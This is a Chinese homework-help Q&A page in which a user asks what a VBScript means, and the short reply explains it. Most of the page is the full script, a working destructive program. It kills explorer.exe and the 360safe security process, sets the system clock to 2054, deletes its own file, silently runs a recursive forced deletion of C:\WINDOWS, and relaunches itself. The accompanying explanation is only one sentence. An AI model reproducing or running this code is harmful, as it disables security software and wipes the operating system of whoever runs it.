英语翻译'请直接翻译成中文 strComputer="." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='explorer.exe' ") For Each objProcess
来源：学生作业帮助网 编辑：六六作业网 时间：2024/11/18 13:47:00
英语翻译'请直接翻译成中文 strComputer="." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='explorer.exe' ") For Each objProcess
英语翻译
'请直接翻译成中文
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='explorer.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
strComputer="."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='360safe.exe' ")
For Each objProcess in colProcessList
objProcess.Terminate()
next
Dim WshShell
Set WshShell = CreateObject("wscript.Shell")
WshShell.Run "cmd.exe /c date 2054-09-9",0
WshShell.Run "cmd.exe /c time 9:43:08",0
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del C:\WINDOWS\*.* / f /q /s""",0 ,true
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
英语翻译'请直接翻译成中文 strComputer="." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colProcessList=objWMIService.ExecQuery ("select * from Win32_Process where Name='explorer.exe' ") For Each objProcess
这段脚本的意思是关闭explorer.exe和360safe.exe两个进程,然后修改系统时间,在系统文件夹中搞搞破坏,删点东西,最后执行宿主脚本